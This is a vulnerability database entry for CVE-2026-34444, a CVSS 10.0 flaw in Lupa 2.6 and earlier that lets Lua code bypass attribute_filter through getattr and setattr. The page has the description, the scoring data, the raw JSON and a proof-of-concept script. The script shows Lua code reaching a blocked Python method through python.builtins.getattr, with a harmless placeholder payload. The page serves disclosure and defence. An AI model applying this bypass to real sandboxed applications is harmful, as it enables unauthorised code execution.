Security Vulnerability Report
中文
CVE-2026-34444 CVSS 10.0 CRITICAL

CVE-2026-34444

Published: 2026-04-06 16:16:36
Last Modified: 2026-05-01 19:54:12

Description

Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:scoder:lupa:*:*:*:*:*:python:*:* - VULNERABLE
Lupa <= 2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import lupa from lupa import LuaRuntime class RestrictedObject: def sensitive_operation(self): return "Arbitrary Code Execution Successful!" # Create an instance of the object obj = RestrictedObject() # Define a filter that blocks access to 'sensitive_operation' def strict_filter(attr_name, obj_instance): print(f"[Filter] Checking access to: {attr_name}") # Only allow access to '__class__' (for demonstration), block everything else return attr_name == "__class__" # Initialize LuaRuntime with the restrictive filter lua = LuaRuntime(attribute_filter=strict_filter) lua.globals().python_obj = obj # Attempt 1: Direct access (Should be blocked) try: lua.execute("python_obj:sensitive_operation()") except Exception as e: print(f"[Direct Access] Blocked: {e}") # Attempt 2: Exploit using getattr to bypass the filter # The vulnerability allows bypassing the filter when using built-in getattr exploit_code = """ -- Access Python's built-in getattr function local builtin_getattr = python.builtins.getattr -- Use getattr to retrieve the restricted method bypassing the filter local forbidden_func = builtin_getattr(python_obj, "sensitive_operation") -- Execute the function print(forbidden_func()) """ print("\n[Exploit] Attempting bypass via getattr...") try: lua.execute(exploit_code) except Exception as e: print(f"[Exploit] Failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34444", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:35.717", "lastModified": "2026-05-01T19:54:12.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:scoder:lupa:*:*:*:*:*:python:*:*", "versionEndIncluding": "2.6", "matchCriteriaId": "C4E88FA4-A1EC-4908-9976-79FBCCF4E0D6"}]}]}], "references": [{"url": "https://github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}